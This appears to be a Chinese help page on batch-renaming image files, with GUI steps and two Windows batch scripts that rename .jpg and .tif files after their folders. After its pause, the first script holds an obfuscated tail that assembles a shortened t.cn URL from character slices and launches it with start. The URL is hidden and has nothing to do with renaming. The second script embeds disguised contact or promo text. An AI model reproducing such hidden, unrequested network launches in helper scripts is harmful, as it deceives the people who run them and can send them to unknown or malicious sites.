批量文件需要重命名,一个一个修改太麻烦了,有什么简单快速的方法。
第一步,添加需要重命名的文件
第二步,选择重命名的内容,文件名,扩展名,全部
第三步,文件名的设置修改,前缀,位数的修改
第四步,设置完成后即可以点击开始重命名了
第五步,如图所示,表示修改成功
第六步,最后可以在原位置查看文件命名了
@echo off & title 批量重命名文件 By 依梦琴瑶
cd /d %~dp0
for /d %%a in (*) do (
pushd "%%~a"
for /d %%b in (*) do (
pushd "%%~b"
for %%c in (*.jpg,*.tif) do (
set "Name=%%~nc"
rem 如果测试显示的修改前和修改后名字符合您的要求,请把下行代码中的echo删除。
call echo ren "%%~c" "%%~b-%%Name:~-3%%%%~xc"
)
popd
)
popd
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
如果测试后,显示的修改前和修改后名字符合您的要求,请把代码中那个echo删除。
然后保存脚本重新运行。如有问题请追问。
以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
@echo off
rem 将多个子文件夹里指定扩展名文件以其上级文件夹/所在文件夹的名称和指定位数的递增数字序号重命名
mode con lines=3000
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
set ext=*.jpg *.tif
for /r /d %%a in (*) do (
pushd "%%a"
set "n=100001"
set "folder=%%~nxa"&set "f="
for /f "delims=" %%b in ('dir /a-d-h/b %ext% 2^>nul') do (
ren "%%b" "#%%~nxb"&set /a f+=1
)
if defined f echo;"%%a"
for /f "delims=" %%b in ('dir /a-d-h/b %ext% 2^>nul') do (
set "file=%%b"
setlocal enabledelayedexpansion
set "newname=!folder!-!n:~-3!%%~xb"
echo;"!file:~1!" --^> "!newname!"
ren "!file!" "!newname!"
endlocal
set/an+=1
)
popd
)
echo;%#% +%$%%$%/%@% %z%
pause
exit